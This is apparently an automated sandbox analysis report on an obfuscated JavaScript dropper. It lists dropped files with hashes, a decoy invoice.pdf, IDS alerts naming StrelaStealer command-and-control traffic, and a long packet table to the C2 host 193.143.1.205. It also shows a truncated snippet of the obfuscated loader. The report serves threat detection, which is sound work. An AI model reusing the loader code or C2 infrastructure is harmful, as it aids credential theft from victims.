SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\feba2915-38e5-464c-9726-2d83f1526c15.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14474), with CRLF line terminators
Entropy (8bit):	4.929769883686598
TrID:
File name:	22346161431640618987.js
File size:	17'939 bytes
MD5:	65c87845197ce8e581becb90d238ac1f
SHA1:	de859872d4db57b84f30c5ee82cbb92925b579a6
SHA256:	cbba9523e5d848e4eb97e24ef7f2c541e2a7f6fc2cae61d1e64972ec37ef98cc
SHA512:	9092363f67f11504d21693f484537135db5aa24018864c93506ce3f157b59b8b6e58a0a266945e2f5c60c32831cd21bc7f2e3fec8a63f69fda59c7e8b7934156
SSDEEP:	192:QNU2CUikRcJja3atUNU2CUik1yaTxoZ7ZdnEZ6WZRrjdnIdnfR1cvsQFgEqtgNqN:u3Qm901ysQFgjNguoJyfxKIbJ
TLSH:	E082EA84F38B8ED84BEC5395A39606CEFF81074180862268E5731017FA7E6D7D5F12BA
File Content Preview:	function sfvihdyxn(){hghsij=[1031,3079,5127,4103,2055,3072];var mjvvy=this[oziwhf+xtszay+ahydqk+xewsfcdm+xuimxyib+plooe+umstn+herbbta](this[rnslat+gotjiq+btxgjsu+ahydqk+rethnw+oziwhf+herbbta][yshkc+ahydqk+xuimxyib+xtszay+herbbta+xuimxyib+mvgqmxxf+khnqpu+n

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:29:45.312867+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T02:29:45.312867+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T02:29:47.579207+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:29:44.483676910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:44.488672018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:44.488761902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:44.491539001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:44.496345043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.312737942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.312777996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.312814951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.312866926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.312927961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.312963963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.312999964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.313030005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.313034058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.313069105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.313101053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.313112020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.313138008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.313158035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.313225031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.317959070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.360436916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.372701883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.372715950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.372728109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.372781992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.437501907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.437557936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.437592983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.437712908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.437741041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.437777996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.437838078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.437880039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.437932014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.437966108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.437988997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.438024044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.438371897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.438400984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.438565016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.438620090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.438626051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.438656092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.438658953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.438694000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.438728094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.438769102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.439410925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.439445019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.439455986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.439512014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.439549923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.439583063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.439629078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.439629078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.440100908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.440155983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.440188885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.440258026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.461114883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.461312056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.497597933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.497610092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.497618914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.497629881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.497708082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.497708082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.526041031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.526060104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.526118994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.562388897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.562398911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.562437057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.562465906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.562478065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.562488079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.562520027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.562695980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.562714100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.562756062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.562825918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.562845945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.562882900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.562912941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.562923908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.562963009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.563298941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.563311100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.563327074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.563368082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.563401937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.563412905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.563422918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.563433886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.563462973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.563472986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.563492060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.564116955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.564127922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.564138889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.564163923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.564182997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.564213991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.564476967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.564493895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.564503908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.564516068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.564546108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.564642906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.564662933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.564673901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.564686060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.564703941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.564726114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.564757109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.565411091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.565444946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.565455914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.565504074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.565589905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.565601110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.565609932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.565622091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.565638065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.565669060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.565690994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.566339016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.566384077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.586097002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.586122990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.586133957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.586239100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.622745037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.622760057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.622781038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.622795105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.622807980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.622818947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.622860909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.622884035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.622898102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.622909069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.622961998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.651061058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.651082039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.651096106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.651119947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.651153088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.687617064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.687674999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.687706947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.687730074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.687742949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.687778950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.687793970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.687834024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.687870979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.687882900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.687906981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.687943935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.687952995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.687978029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688031912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.688086987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688118935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688164949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.688174009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688229084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688263893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688282013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.688308001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688355923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.688390970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688468933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688504934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688534975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.688556910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688592911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688607931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.688627958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688667059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.688792944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688848019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688890934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.688894033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688929081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.688971996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.689141035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.689177036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.689212084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.689220905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.689305067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.689338923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.689354897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.689373970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.689412117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.689418077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.689466000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.689500093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.689507008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.689533949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.689568043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.689575911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.689603090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.689649105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.689908981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.689960003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690001011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690006971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.690052986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690085888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690094948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.690123081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690169096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.690176010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690211058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690246105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690258980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.690279961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690316916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690324068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.690721989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690756083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690769911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.690793037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690844059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.690900087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690934896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690968037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.690990925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.691003084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.691037893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.691051006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.691092968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.691128016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.691138983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.691164017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.691198111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.691211939 CET	49704	80	192.168.2.8	193.143.1.205
